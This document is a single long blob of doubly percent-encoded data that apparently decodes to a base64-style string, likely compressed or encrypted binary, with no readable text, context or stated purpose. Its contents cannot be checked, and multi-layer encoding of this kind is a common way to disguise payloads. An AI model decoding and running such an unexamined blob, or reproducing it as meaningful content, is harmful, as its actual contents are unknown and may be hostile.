%37%32%25%35%36%25%33%31%25%37%32%25%34%32%25%35%61%25%36%31%25%37%38%25%33%32%25%36%36%25%33%39%25%35%34%25%36%32%25%36%38%25%34%65%25%37%34%25%37%36%25%34%64%25%35%61%25%36%32%25%37%33%25%33%39%25%36%32%25%35%30%25%35%39%25%33%36%25%35%34%25%34%38%25%36%32%25%34%35%25%34%33%25%35%32%25%33%34%25%35%38%25%35%38%25%34%32%25%36%32%25%36%39%25%36%39%25%36%39%25%37%36%25%36%33%25%37%32%25%37%32%25%37%32%25%34%62%25%33%35%25%36%32%25%37%30%25%36%32%25%33%33%25%34%66%25%33%35%25%33%34%25%37%38%25%37%35%25%34%66%25%33%35%25%33%31%25%33%33%25%37%61%25%36%35%25%36%35%25%34%64%25%35%30%25%37%32%25%37%32%25%36%32%25%36%34%25%33%38%25%33%33%25%37%36%25%36%62%25%36%39%25%37%61%25%34%36%25%36%35%25%32%66%25%36%38%25%36%36%25%37%33%25%35%34%25%35%32%25%34%32%25%35%61%25%34%32%25%34%37%25%36%64%25%34%62%25%34%33%25%36%62%25%37%37%25%35%30%25%35%32%25%37%38%25%35%61%25%34%35%25%37%35%25%37%32%25%37%33%25%35%32%25%34%31%25%34%33%25%35%37%25%34%36%25%34%62%25%36%62%25%37%38%25%35%31%25%33%32%25%34%63%25%34%35%25%32%62%25%34%35%25%34%33%25%34%38%25%37%39%25%35%32%25%34%39%25%37%32%25%34%36%25%36%61%25%35%39%25%36%61%25%34%37%25%34%64%25%34%62%25%34%61%25%33%30%25%36%37%25%35%35%25%35%61%25%37%31%25%34%64%25%35%31%25%36%64%25%35%37%25%35%32%25%36%65%25%36%31%25%35%33%25%35%31%25%36%62%25%36%39%25%35%32%25%35%36%25%35%36%25%34%32%25%34%37%25%36%39%25%36%63%25%35%31%25%33%34%25%36%62%25%35%30%25%36%36%25%35%34%25%36%61%25%36%34%25%34%31%25%34%35%25%37%33%25%36%64%25%33%30%25%36%39%25%37%34%25%35%38%25%33%33%25%34%39%25%37%30%25%35%30%25%34%65%25%35%36%25%36%38%25%36%64%25%35%61%25%35%36%25%37%33%25%36%63%25%35%31%25%36%34%25%37%32%25%36%35%25%36%32%25%34%64%25%33%39%25%33%39%25%34%37%25%36%66%25%34%34%25%36%63%25%37%38%25%35%30%25%35%30%25%33%39%25%34%34%25%37%32%25%37%30%25%34%63%25%34%61%25%32%66%25%37%61%25%37%32%25%33%38%25%34%34%25%37%34%25%33%38%25%36%65%25%33%30%25%36%35%25%36%34%25%37%61%25%37%39%25%37%34%25%34%64%25%33%33%25%37%34%25%34%63%25%37%32%25%33%30%25%33%31%25%33%36%25%37%30%25%34%31%25%37%61%25%34%62%25%34%38%25%34%36%25%34%33%25%37%31%25%34%35%25%37%33%25%36%66%25%37%35%25%37%61%25%35%39%25%37%38%25%33%37%25%35%38%25%34%65%25%37%32%25%36%65%25%34%34%25%37%36%25%32%66%25%34%35%25%37%30%25%32%66%25%34%62%25%33%39%25%33%36%25%33%32%25%34%32%25%36%63%25%37%61%25%35%32%25%35%37%25%37%36%25%32%62%25%34%63%25%36%65%25%36%62%25%36%38%25%34%38%25%34%31%25%35%61%25%37%33%25%33%39%25%33%30%25%37%31%25%33%35%25%35%31%25%34%61%25%36%33%25%35%32%25%32%66%25%34%64%25%37%31%25%34%31%25%36%35%25%36%32%25%36%62%25%36%61%25%36%31%25%36%38%25%37%36%25%37%37%25%36%38%25%33%34%25%33%37%25%34%65%25%34%37%25%36%64%25%34%63%25%36%62%25%34%62%25%34%66%25%34%32%25%33%33%25%33%36%25%33%32%25%35%37%25%37%30%25%37%33%25%34%64%25%36%61%25%36%66%25%36%37%25%34%35%25%34%39%25%35%37%25%35%39%25%34%61%25%35%30%25%35%36%25%34%61%25%37%32%25%34%39%25%34%32%25%37%35%25%37%37%25%37%61%25%35%37%25%37%37%25%34%32%25%36%63%25%33%36%25%34%61%25%37%31%25%36%38%25%35%39%25%33%32%25%35%33%25%34%66%25%34%34%25%34%37%25%37%61%25%34%36%25%37%38%25%37%32%25%36%65%25%34%31%25%34%37%25%35%32%25%34%64%25%34%33%25%33%34%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%33%25%36%37%25%33%30%25%34%63%25%35%32%25%37%37%25%34%32%25%35%32%25%35%31%25%34%64%25%34%64%25%35%34%25%37%34%25%33%35%25%34%65%25%35%33%25%36%65%25%34%31%25%36%36%25%33%35%25%35%39%25%32%62%25%36%66%25%34%37%25%33%38%25%34%31%25%33%36%25%34%33%25%33%39%25%35%34%25%34%31%25%35%31%25%34%35%25%36%33%25%34%39%25%34%31%25%34%31%25%33%34%25%34%39%25%34%32%25%33%34%25%36%37%25%34%31%25%35%30%25%32%66%25%34%33%25%34%35%25%35%33%25%34%31%25%36%35%25%37%30%25%33%37%25%34%39%25%34%37%25%35%39%25%36%31%25%36%32%25%33%33%25%37%34%25%36%34%25%36%34%25%35%39%25%35%31%25%35%34%25%36%31%25%37%38%25%36%32%25%35%30%25%34%38%25%36%62%25%34%37%25%36%33%25%33%32%25%37%39%25%36%39%25%36%64%25%37%38%25%37%32%25%35%38%25%37%38%25%36%39%25%35%37%25%35%33%25%34%66%25%35%37%25%36%32%25%33%38%25%34%37%25%34%36%25%35%33%25%35%32%25%33%36%25%37%30%25%36%62%25%33%30%25%34%39%25%36%36%25%34%33%25%32%62%25%34%37%25%36%38%25%36%33%25%34%34%25%34%33%25%33%37%25%34%66%25%35%35%25%37%30%25%36%31%25%37%61%25%36%39%25%36%62%25%33%31%25%37%33%25%36%66%25%33%39%25%37%35%25%35%31%25%35%34%25%35%38%25%36%31%25%33%37%25%37%61%25%34%34%25%35%36%25%37%35%25%36%34%25%36%39%25%34%39%25%36%39%25%33%39%25%37%33%25%35%34%25%34%66%25%33%32%25%34%32%25%35%30%25%33%37%25%33%34%25%36%62%25%34%31%25%36%33%25%36%61%25%37%35%25%34%65%25%37%38%25%34%62%25%37%33%25%33%37%25%34%36%25%34%36%25%33%36%25%35%37%25%35%31%25%34%66%25%35%39%25%37%33%25%34%35%25%35%30%25%37%35%25%36%37%25%37%30%25%33%31%25%34%62%25%34%34%25%36%36%25%37%32%25%35%32%25%33%34%25%37%30%25%33%36%25%34%31%25%35%61%25%34%34%25%36%66%25%35%30%25%34%33%25%34%64%25%36%35%25%37%61%25%32%62%25%35%39%25%36%36%25%37%37%25%36%33%25%35%33%25%36%38%25%35%39%25%37%36%25%34%35%25%37%38%25%35%32%25%37%31%25%35%37%25%37%34%25%36%32%25%34%62%25%33%31%25%36%32%25%35%37%25%33%35%25%35%38%25%34%33%25%33%36%25%37%38%25%33%33%25%36%61%25%37%30%25%32%66%25%36%32%25%36%36%25%37%39%25%37%36%25%33%39%25%35%61%25%32%62%25%36%65%25%36%34%25%35%34%25%35%39%25%33%37%25%34%36%25%37%39%25%35%34%25%36%61%25%34%34%25%36%38%25%36%34%25%36%66%25%33%35%25%35%36%25%37%33%25%35%30%25%36%34%25%35%38%25%34%64%25%36%65%25%35%37%25%37%61%25%36%32%25%34%63%25%37%38%25%32%66%25%33%37%25%37%36%25%37%38%25%36%65%25%36%32%25%36%64%25%35%37%25%34%38%25%37%36%25%33%36%25%36%31%25%33%30%25%37%61%25%33%39%25%34%38%25%32%66%25%36%34%25%32%66%25%33%37%25%33%33%25%34%63%25%33%39%25%37%32%25%35%33%25%34%65%25%37%39%25%34%34%25%33%39%25%33%32%25%37%32%25%36%38%25%35%39%25%36%33%25%35%36%25%36%38%25%36%33%25%35%31%25%34%32%25%37%61%25%37%31%25%36%36%25%35%34%25%36%39%25%33%39%25%34%35%25%36%61%25%36%63%25%35%33%25%37%32%25%35%36%25%35%37%25%36%32%25%37%39%25%37%37%25%34%66%25%37%37%25%34%65%25%34%35%25%35%30%25%34%39%25%35%33%25%34%39%25%36%64%25%34%39%25%35%33%25%35%38%25%34%34%25%36%33%25%36%65%25%35%34%25%33%32%25%33%38%25%33%34%25%37%38%25%34%31%25%34%36%25%36%35%25%36%31%25%35%34%25%35%35%25%34%65%25%36%65%25%35%32%25%36%31%25%37%39%25%36%65%25%34%61%25%34%63%25%36%62%25%37%39%25%33%37%25%37%33%25%36%35%25%33%30%25%36%63%25%36%34%25%34%61%25%36%61%25%34%39%25%34%35%25%35%32%25%34%63%25%34%38%25%36%39%25%34%32%25%33%30%25%36%63%25%36%34%25%35%61%25%37%61%25%36%33%25%34%62%25%35%35%25%37%31%25%36%65%25%37%31%25%35%61%25%37%39%25%36%38%25%36%34%25%36%63%25%36%31%25%35%37%25%36%33%25%37%38%25%35%31%25%34%37%25%33%36%25%34%66%25%37%61%25%35%31%25%33%32%25%33%32%25%35%37%25%37%37%25%37%38%25%33%32%25%36%39%25%36%36%25%33%31%25%35%32%25%34%37%25%34%38%25%34%64%25%33%30%25%33%37%25%36%65%25%37%33%25%36%63%25%33%31%25%37%37%25%37%35%25%35%61%25%36%32%25%36%65%25%35%33%25%36%66%25%33%36%25%33%31%25%36%65%25%37%34%25%37%38%25%37%35%25%36%35%25%35%39%25%35%39%25%34%61%25%33%35%25%35%37%25%37%34%25%35%31%25%33%36%25%34%36%25%35%38%25%34%32%25%33%31%25%37%61%25%36%64%25%32%66%25%34%36%25%33%38%25%35%35%25%35%31%25%33%35%25%35%31%25%36%39%25%35%36%25%36%31%25%34%32%25%35%35%25%36%66%25%36%61%25%32%62%25%37%61%25%36%66%25%37%32%25%37%30%25%36%31%25%36%37%25%36%65%25%36%64%25%37%37%25%37%39%25%35%35%25%35%34%25%34%65%25%36%34%25%34%37%25%33%30%25%34%64%25%34%63%25%33%30%25%37%61%25%35%33%25%36%35%25%36%64%25%37%31%25%32%66%25%33%31%25%37%32%25%36%37%25%34%38%25%34%64%25%33%33%25%37%30%25%37%34%25%33%38%25%33%32%25%33%34%25%34%66%25%34%37%25%36%62%25%34%34%25%34%36%25%37%33%25%36%39%25%37%31%25%36%38%25%35%32%25%36%33%25%33%38%25%37%39%25%35%32%25%36%33%25%35%32%25%36%34%25%36%31%25%35%38%25%35%37%25%33%36%25%34%65%25%36%61%25%35%39%25%33%30%25%33%32%25%36%34%25%33%37%25%35%33%25%37%30%25%36%39%25%35%61%25%37%30%25%34%36%25%34%36%25%33%31%25%35%36%25%36%36%25%35%36%25%37%32%25%34%61%25%34%38%25%37%32%25%36%62%25%37%34%25%33%31%25%34%61%25%34%35%25%37%36%25%36%39%25%36%63%25%36%66%25%35%31%25%33%31%25%36%31%25%35%35%25%37%36%25%35%61%25%33%30%25%33%37%25%34%39%25%34%34%25%35%34%25%34%31%25%33%34%25%33%30%25%33%30%25%35%37%25%36%38%25%37%34%25%34%33%25%37%39%25%34%36%25%37%38%25%33%37%25%36%34%25%36%36%25%37%30%25%37%37%25%32%62%25%34%39%25%34%34%25%33%32%25%34%33%25%34%37%25%35%61%25%35%34%25%37%30%25%34%31%25%33%35%25%35%33%25%35%37%25%34%66%25%34%63%25%33%32%25%35%33%25%34%37%25%36%32%25%35%39%25%33%33%25%36%31%25%36%65%25%33%38%25%37%34%25%33%33%25%37%61%25%36%35%25%36%38%25%34%34%25%37%37%25%37%30%25%36%37%25%36%37%25%36%62%25%34%33%25%34%36%25%35%39%25%34%33%25%35%36%25%35%31%25%37%30%25%35%34%25%34%32%25%36%63%25%36%35%25%34%36%25%35%35%25%35%39%25%33%31%25%35%36%25%36%37%25%33%39%25%34%65%25%34%31%25%33%30%25%36%33%25%37%31%25%35%33%25%37%33%25%37%38%25%35%35%25%36%33%25%34%61%25%35%36%25%36%36%25%37%36%25%33%30%25%32%62%25%34%34%25%34%63%25%33%36%25%37%31%25%35%30%25%34%65%25%34%61%25%33%31%25%37%32%25%34%66%25%36%63%25%36%36%25%36%33%25%35%35%25%35%37%25%33%31%25%37%34%25%37%30%25%35%33%25%33%32%25%36%34%25%36%32%25%37%35%25%33%37%25%37%30%25%35%35%25%36%65%25%34%62%25%36%64%25%36%63%25%33%31%25%36%63%25%35%36%25%36%32%25%35%38%25%33%32%25%37%34%25%34%34%25%36%65%25%35%31%25%36%39%25%36%36%25%34%39%25%34%36%25%36%37%25%35%39%25%36%39%25%34%62%25%35%31%25%35%38%25%34%32%25%36%64%25%34%31%25%34%35%25%36%38%25%37%33%25%34%35%25%37%37%25%36%62%25%34%33%25%35%34%25%34%64%25%36%33%25%34%31%25%37%39%25%34%38%25%37%30%25%36%33%25%34%62%25%34%64%25%37%37%25%34%31%25%36%38%25%34%39%25%34%36%25%36%39%25%35%39%25%34%35%25%34%39%25%36%32%25%34%32%25%34%64%25%36%64%25%34%31%25%34%31%25%34%33%25%36%62%25%34%33%25%37%32%25%34%64%25%37%39%25%34%65%25%34%31%25%37%31%25%34%62%25%33%34%25%35%31%25%35%61%25%33%35%25%35%37%25%33%34%25%34%31%25%36%64%25%35%34%25%34%64%25%36%31%25%33%36%25%33%33%25%34%39%25%35%33%25%37%33%25%36%64%25%35%31%25%34%64%25%33%31%25%36%64%25%36%33%25%37%33%25%37%33%25%36%39%25%35%35%25%35%35%25%34%37%25%37%38%25%34%66%25%34%37%25%37%32%25%34%31%25%36%65%25%34%38%25%36%38%25%36%66%25%37%38%25%34%34%25%33%39%25%36%62%25%35%32%25%36%37%25%35%35%25%33%38%25%35%39%25%36%61%25%35%36%25%37%39%25%35%61%25%36%37%25%36%31%25%37%39%25%35%39%25%36%39%25%35%34%25%37%39%25%34%62%25%37%38%25%35%30%25%35%36%25%34%38%25%34%39%25%36%64%25%33%32%25%36%61%25%37%33%25%37%39%25%34%33%25%35%34%25%36%62%25%35%33%25%37%38%25%34%31%25%33%37%25%34%35%25%33%34%25%35%30%25%33%38%25%36%64%25%35%39%25%37%38%25%36%34%25%36%64%25%35%39%25%34%63%25%36%33%25%36%64%25%35%39%25%37%30%25%37%34%25%36%64%25%35%39%25%35%61%25%34%33%25%36%39%25%36%33%25%35%38%25%36%35%25%37%38%25%34%62%25%34%36%25%37%37%25%33%34%25%37%32%25%34%35%25%37%36%25%34%33%25%35%33%25%36%39%25%35%33%25%35%32%25%34%66%25%37%38%25%35%30%25%34%35%25%36%66%25%36%66%25%36%64%25%34%37%25%35%31%25%36%33%25%37%39%25%34%38%25%35%33%25%35%37%25%35%34%25%36%37%25%37%33%25%34%65%25%34%61%25%35%32%25%35%61%25%36%64%25%36%62%25%33%34%25%35%38%25%36%61%25%35%33%25%35%35%25%35%34%25%35%39%25%37%61%25%36%33%25%34%33%25%34%39%25%35%61%25%34%62%25%34%61%25%36%34%25%34%64%25%36%65%25%34%35%25%37%37%25%35%37%25%34%62%25%36%39%25%35%35%25%36%32%25%35%61%25%33%35%25%34%62%25%34%34%25%36%39%25%37%33%25%36%65%25%34%36%25%33%36%25%36%35%25%35%33%25%36%38%25%36%36%25%34%31%25%37%31%25%37%37%25%33%35%25%34%32%25%35%31%25%34%66%25%36%36%25%36%62%25%35%37%25%36%66%25%36%65%25%34%37%25%34%62%25%36%33%25%35%33%25%37%37%25%36%64%25%37%31%25%37%30%25%34%32%25%35%34%25%36%65%25%34%64%25%37%38%25%34%66%25%35%38%25%35%35%25%36%66%25%36%32%25%37%31%25%34%62%25%36%33%25%36%36%25%36%63%25%35%36%25%34%62%25%34%32%25%36%64%25%34%62%25%36%65%25%34%35%25%37%34%25%35%36%25%36%31%25%36%39%25%35%32%25%36%31%25%36%63%25%37%61%25%34%61%25%34%63%25%34%65%25%35%32%25%34%62%25%34%34%25%36%31%25%33%36%25%36%64%25%34%36%25%37%36%25%35%36%25%35%33%25%36%38%25%33%31%25%37%35%25%37%30%25%35%32%25%33%36%25%34%64%25%33%30%25%33%34%25%34%36%25%33%34%25%36%31%25%33%30%25%35%34%25%35%32%25%34%65%25%36%35%25%34%61%25%36%38%25%36%64%25%34%65%25%34%35%25%36%62%25%34%63%25%34%38%25%37%31%25%35%31%25%35%36%25%35%34%25%33%39%25%34%66%25%34%37%25%37%38%25%36%31%25%36%34%25%33%39%25%37%33%25%34%66%25%37%34%25%34%31%25%37%39%25%33%33%25%35%34%25%36%39%25%35%37%25%35%37%25%36%31%25%36%61%25%35%34%25%36%35%25%36%32%25%36%37%25%35%61%25%36%35%25%36%31%25%36%39%25%35%36%25%36%35%25%36%32%25%36%38%25%36%35%25%35%38%25%37%32%25%35%31%25%34%39%25%36%36%25%35%30%25%37%38%25%34%65%25%37%32%25%33%33%25%36%66%25%36%65%25%34%34%25%33%36%25%33%38%25%37%39%25%37%37%25%34%61%25%33%30%25%37%61%25%34%35%25%34%62%25%33%38%25%35%34%25%37%61%25%32%62%25%33%36%25%35%61%25%37%37%25%34%32%25%36%36%25%37%33%25%36%37%25%36%37%25%33%39%25%34%64%25%36%66%25%36%39%25%37%36%25%35%37%25%35%39%25%37%38%25%36%35%25%35%37%25%35%39%25%34%63%25%37%36%25%35%37%25%35%39%25%37%31%25%36%35%25%35%37%25%35%39%25%35%61%25%37%36%25%35%37%25%35%39%25%33%34%25%34%32%25%34%37%25%36%33%25%34%62%25%36%36%25%37%32%25%34%35%25%34%34%25%32%66%25%37%32%25%34%64%25%35%34%25%37%36%25%37%32%25%34%64%25%34%62%25%35%31%25%37%33%25%33%33%25%37%32%25%34%33%25%37%34%25%37%37%25%35%61%25%34%34%25%37%61%25%33%39%25%37%31%25%34%61%25%33%32%25%34%64%25%36%62%25%35%39%25%36%34%25%37%34%25%35%39%25%34%65%25%35%61%25%34%66%25%37%33%25%37%38%25%32%66%25%34%37%25%37%37%25%35%39%25%35%39%25%34%32%25%37%33%25%37%38%25%33%34%25%36%64%25%37%39%25%36%31%25%37%39%25%34%37%25%33%33%25%34%37%25%37%39%25%34%63%25%34%65%25%36%63%25%36%66%25%37%32%25%35%39%25%35%36%25%33%34%25%33%38%25%32%62%25%33%32%25%36%37%25%36%35%25%33%30%25%35%35%25%35%34%25%34%34%25%33%37%25%36%32%25%34%61%25%33%33%25%33%36%25%36%65%25%35%39%25%37%34%25%36%66%25%33%35%25%36%32%25%35%61%25%34%31%25%33%37%25%34%38%25%36%34%25%34%65%25%37%61%25%34%32%25%37%35%25%36%31%25%36%33%25%34%38%25%35%39%25%35%30%25%35%61%25%35%34%25%37%33%25%37%37%25%33%37%25%35%61%25%33%30%25%33%37%25%34%62%25%37%61%25%37%33%25%34%63%25%36%33%25%37%33%25%33%32%25%37%35%25%35%33%25%36%34%25%37%37%25%33%37%25%35%37%25%33%35%25%34%34%25%34%39%25%37%33%25%34%66%25%37%36%25%37%35%25%34%38%25%37%35%25%36%39%25%37%34%25%35%31%25%34%39%25%37%32%25%36%35%25%36%39%25%35%38%25%35%37%25%33%37%25%34%34%25%33%36%25%37%61%25%37%39%25%34%33%25%34%33%25%36%35%25%36%36%25%35%32%25%36%37%25%36%36%25%33%39%25%33%38%25%34%66%25%33%38%25%35%33%25%33%39%25%36%37%25%37%30%25%35%33%25%33%38%25%36%39%25%37%35%25%35%36%25%33%35%25%34%34%25%35%32%25%35%38%25%37%39%25%34%66%25%36%62%25%33%37%25%36%63%25%34%34%25%36%32%25%35%34%25%34%66%25%36%64%25%33%33%25%36%39%25%35%32%25%37%34%25%37%61%25%34%34%25%37%31%25%37%36%25%34%34%25%33%33%25%35%32%25%36%35%25%37%37%25%36%35%25%36%61%25%37%61%25%33%37%25%37%33%25%37%61%25%36%31%25%36%35%25%33%39%25%36%38%25%37%61%25%34%38%25%36%63%25%32%66%25%35%39%25%37%36%25%35%39%25%34%32%25%37%38%25%37%30%25%33%34%25%36%61%25%34%35%25%33%37%25%37%33%25%35%30%25%34%64%25%36%35%25%33%37%25%33%38%25%35%39%25%36%31%25%34%34%25%33%37%25%34%37%25%37%61%25%34%63%25%36%62%25%33%37%25%33%31%25%36%39%25%36%34%25%35%39%25%37%39%25%36%39%25%35%37%25%36%61%25%33%33%25%34%35%25%37%37%25%36%65%25%33%36%25%34%36%25%33%39%25%35%30%25%37%33%25%36%35%25%36%32%25%32%66%25%35%30%25%37%33%25%34%34%25%37%36%25%37%36%25%33%34%25%34%34%25%33%37%25%34%64%25%36%63%25%37%38%25%34%65%25%34%64%25%33%34%25%34%61%25%33%33%25%34%64%25%32%66%25%33%33%25%35%33%25%34%64%25%33%38%25%35%30%25%35%37%25%34%36%25%35%38%25%34%31%25%36%66%25%34%38%25%36%33%25%36%38%25%34%37%25%35%34%25%33%38%25%34%62%25%34%62%25%35%32%25%36%38%25%35%39%25%35%33%25%35%30%25%33%33%25%35%31%25%32%62%25%35%31%25%33%31%25%35%33%25%34%35%25%34%34%25%34%36%25%36%61%25%36%35%25%36%34%25%32%62%25%36%37%25%35%36%25%36%65%25%36%63%25%32%66%25%35%33%25%33%33%25%34%65%25%34%37%25%36%66%25%35%38%25%35%61%25%34%37%25%33%34%25%33%33%25%34%34%25%34%33%25%33%30%25%34%34%25%34%34%25%36%38%25%34%66%25%34%61%25%34%61%25%37%38%25%36%31%25%34%61%25%35%31%25%34%39%25%34%38%25%34%64%25%33%30%25%36%62%25%37%34%25%34%35%25%37%37%25%35%31%25%35%61%25%33%35%25%34%62%25%34%31%25%35%36%25%36%62%25%36%65%25%34%35%25%33%32%25%35%35%25%37%38%25%34%38%25%33%32%25%33%36%25%35%34%25%36%37%25%36%36%25%34%34%25%34%63%25%35%31%25%34%63%25%37%30%25%36%64%25%33%34%25%36%64%25%34%31%25%34%63%25%33%30%25%35%33%25%34%33%25%34%35%25%37%35%25%37%30%25%35%31%25%36%37%25%33%39%25%35%35%25%33%34%25%37%61%25%34%63%25%34%62%25%35%35%25%34%37%25%32%66%25%36%63%25%34%66%25%34%61%25%36%64%25%35%61%25%37%31%25%34%61%25%32%66%25%37%39%25%36%65%25%34%31%25%37%32%25%33%35%25%35%32%25%36%39%25%35%31%25%34%33%25%37%34%25%37%38%25%34%66%25%34%65%25%35%31%25%35%61%25%36%63%25%34%36%25%37%35%25%33%36%25%36%64%25%34%32%25%36%66%25%34%65%25%35%34%25%36%39%25%33%33%25%37%35%25%37%30%25%37%37%25%33%35%25%34%34%25%35%35%25%33%34%25%33%33%25%33%34%25%36%31%25%34%64%25%34%34%25%34%62%25%34%65%25%36%35%25%34%61%25%34%39%25%36%64%25%36%61%25%34%35%25%36%66%25%37%61%25%36%65%25%37%31%25%35%39%25%34%36%25%36%66%25%33%39%25%34%66%25%34%62%25%35%61%25%32%62%25%36%65%25%34%33%25%36%38%25%34%38%25%35%34%25%36%61%25%35%34%25%35%32%25%35%61%25%36%37%25%36%31%25%36%38%25%36%32%25%36%39%25%35%35%25%32%66%25%36%66%25%37%38%25%35%30%25%35%31%25%35%30%25%33%34%25%36%65%25%34%35%25%35%37%25%35%39%25%36%62%25%35%35%25%34%36%25%33%38%25%37%39%25%35%37%25%34%63%25%34%64%25%37%61%25%34%32%25%34%61%25%33%38%25%37%61%25%35%36%25%34%63%25%34%64%25%37%61%25%37%61%25%34%63%25%33%38%25%37%61%25%36%65%25%34%39%25%37%33%25%37%39%25%34%32%25%34%34%25%32%62%25%35%61%25%34%34%25%33%32%25%35%37%25%35%61%25%36%37%25%34%66%25%37%39%25%36%32%25%34%64%25%35%33%25%37%39%25%36%32%25%34%35%25%34%39%25%37%35%25%33%35%25%33%32%25%34%32%25%34%65%25%37%61%25%37%30%25%35%36%25%34%64%25%37%61%25%37%33%25%35%30%25%36%31%25%36%65%25%34%33%25%32%62%25%36%63%25%37%35%25%35%31%25%34%34%25%37%32%25%37%33%25%33%31%25%37%34%25%37%39%25%32%62%25%35%34%25%36%62%25%33%32%25%33%35%25%37%61%25%34%63%25%34%61%25%35%61%25%37%61%25%33%39%25%33%32%25%33%35%25%35%31%25%37%31%25%37%30%25%37%39%25%33%35%25%35%38%25%35%39%25%36%65%25%36%31%25%37%35%25%36%62%25%35%30%25%36%63%25%36%36%25%36%61%25%35%31%25%37%31%25%33%36%25%35%32%25%34%39%25%34%34%25%36%34%25%36%61%25%35%39%25%36%36%25%33%37%25%33%35%25%35%32%25%32%66%25%36%32%25%32%66%25%35%38%25%33%35%25%34%33%25%37%39%25%32%66%25%34%32%25%37%34%25%36%32%25%33%38%25%36%38%25%32%62%25%37%30%25%37%39%25%34%38%25%32%62%25%37%38%25%34%65%25%36%36%25%32%62%25%35%34%25%37%39%25%36%38%25%37%61%25%34%38%25%37%34%25%37%30%25%37%39%25%35%31%25%37%31%25%36%66%25%34%39%25%36%37%25%36%32%25%35%39%25%37%34%25%37%34%25%33%30%25%37%32%25%33%37%25%35%39%25%34%62%25%35%32%25%33%32%25%36%35%25%33%32%25%35%30%25%33%32%25%32%62%25%34%32%25%32%62%25%36%62%25%34%39%25%35%39%25%37%30%25%33%39%25%33%30%25%34%63%25%36%37%25%33%35%25%34%39%25%36%63%25%32%62%25%34%62%25%37%37%25%33%39%25%35%30%25%36%61%25%34%35%25%37%33%25%36%34%25%32%66%25%34%38%25%36%62%25%36%31%25%33%34%25%36%37%25%35%34%25%37%32%25%33%36%25%36%36%25%35%31%25%37%32%25%36%66%25%34%36%25%36%33%25%35%35%25%35%61%25%33%36%25%36%35%25%37%35%25%34%63%25%37%33%25%33%36%25%33%35%25%37%38%25%33%30%25%35%38%25%33%33%25%37%37%25%36%38%25%35%30%25%35%36%25%36%33%25%34%62%25%35%33%25%36%35%25%33%30%25%34%31%25%33%30%25%36%37%25%37%35%25%36%35%25%37%33%25%34%33%25%34%39%25%33%36%25%33%36%25%36%64%25%33%36%25%35%31%25%34%37%25%35%31%25%34%34%25%36%31%25%33%32%25%34%61%25%36%34%25%35%37%25%36%65%25%37%34%25%34%66%25%37%31%25%36%31%25%34%62%25%36%61%25%33%38%25%35%36%25%34%38%25%33%39%25%37%31%25%34%39%25%36%61%25%36%38%25%33%35%25%35%37%25%36%34%25%33%34%25%34%33%25%34%37%25%35%39%25%33%34%25%34%34%25%32%66%25%34%64%25%37%39%25%36%32%25%36%38%25%37%33%25%34%63%25%34%38%25%37%36%25%37%37%25%35%36%25%33%39%25%37%35%25%36%37%25%37%61%25%33%36%25%33%39%25%36%66%25%37%61%25%36%38%25%32%62%25%34%63%25%36%63%25%35%30%25%34%37%25%36%31%25%34%33%25%34%36%25%33%38%25%37%38%25%37%37%25%36%35%25%35%38%25%37%31%25%36%65%25%33%30%25%34%64%25%36%62%25%35%31%25%34%63%25%34%37%25%33%35%25%37%31%25%33%37%25%36%62%25%34%35%25%34%37%25%33%38%25%36%33%25%34%63%25%33%35%25%35%37%25%35%34%25%37%32%25%36%62%25%33%31%25%33%33%25%33%36%25%36%32%25%34%33%25%33%38%25%35%38%25%37%39%25%33%38%25%36%35%25%33%34%25%33%36%25%34%32%25%36%64%25%37%35%25%32%62%25%34%38%25%37%33%25%37%37%25%37%31%25%35%35%25%36%39%25%34%63%25%36%63%25%33%32%25%36%33%25%35%39%25%36%64%25%33%31%25%34%33%25%36%63%25%36%31%25%32%66%25%37%36%25%36%65%25%36%65%25%37%33%25%35%30%25%36%36%25%33%37%25%33%32%25%37%38%25%37%35%25%36%62%25%35%36%25%33%36%25%36%31%25%32%66%25%37%30%25%33%37%25%35%33%25%34%39%25%37%39%25%37%61%25%35%31%25%34%33%25%37%32%25%33%36%25%35%31%25%35%38%25%35%39%25%34%31%25%37%39%25%35%37%25%35%31%25%36%65%25%37%61%25%37%32%25%33%36%25%34%61%25%37%61%25%35%30%25%36%37%25%36%36%25%33%36%25%33%30%25%37%30%25%35%37%25%36%32%25%36%37%25%37%36%25%34%37%25%36%62%25%37%34%25%33%39%25%37%33%25%37%30%25%33%31%25%37%34%25%36%34%25%36%31%25%34%34%25%37%36%25%33%36%25%37%38%25%35%35%25%37%36%25%36%36%25%36%35%25%36%33%25%33%34%25%33%36%25%34%35%25%34%35%25%33%35%25%34%32%25%37%37%25%36%36%25%34%65%25%35%34%25%36%66%25%35%34%25%33%31%25%34%61%25%35%38%25%35%39%25%35%61%25%34%36%25%32%66%25%37%30%25%32%62%25%36%34%25%34%39%25%37%38%25%35%34%25%35%36%25%34%33%25%34%61%25%37%61%25%36%37%25%37%38%25%36%36%25%35%34%25%35%31%25%37%33%25%33%38%25%35%36%25%34%36%25%35%32%25%37%38%25%36%39%25%32%66%25%35%30%25%33%31%25%36%63%25%34%65%25%34%32%25%36%35%25%35%32%25%34%66%25%37%36%25%33%32%25%37%33%25%36%33%25%36%36%25%33%31%25%33%34%25%35%33%25%36%31%25%36%32%25%35%61%25%37%37%25%36%36%25%32%62%25%34%38%25%33%37%25%37%31%25%33%36%25%37%37%25%33%30%25%36%38%25%37%30%25%32%66%25%33%30%25%34%38%25%35%38%25%36%64%25%36%63%25%34%61%25%37%35%25%36%37%25%34%66%25%35%35%25%32%62%25%33%32%25%35%31%25%34%38%25%34%64%25%36%37%25%33%39%25%34%31%25%34%65%25%33%38%25%36%37%25%33%35%25%34%64%25%36%66%25%32%66%25%35%39%25%34%66%25%35%33%25%37%61%25%33%34%25%34%31%25%37%36%25%33%33%25%34%36%25%33%39%25%37%33%25%36%37%25%33%34%25%32%66%25%36%37%25%37%31%25%35%30%25%37%32%25%36%36%25%35%30%25%34%33%25%34%66%25%34%31%25%37%38%25%37%33%25%34%31%25%34%31%25%36%66%25%34%37%25%35%35%25%34%31%25%33%32%25%34%34%25%33%32%25%34%31%25%34%32%25%33%34%25%34%34%25%37%61%25%34%31%25%34%32%25%36%38%25%35%38%25%36%37%25%36%36%25%33%30%25%35%33%25%34%35%25%34%66%25%32%62%25%34%32%25%37%38%25%34%62%25%34%65%25%36%62%25%34%31%25%37%61%25%34%31%25%36%33%25%35%39%25%36%35%25%36%37%25%34%37%25%37%61%25%34%38%25%34%38%25%34%66%25%34%63%25%34%35%25%33%39%25%35%32%25%35%35%25%36%32%25%33%34%25%36%34%25%33%31%25%33%33%25%37%31%25%34%62%25%36%66%25%36%62%25%32%62%25%34%66%25%34%34%25%32%66%25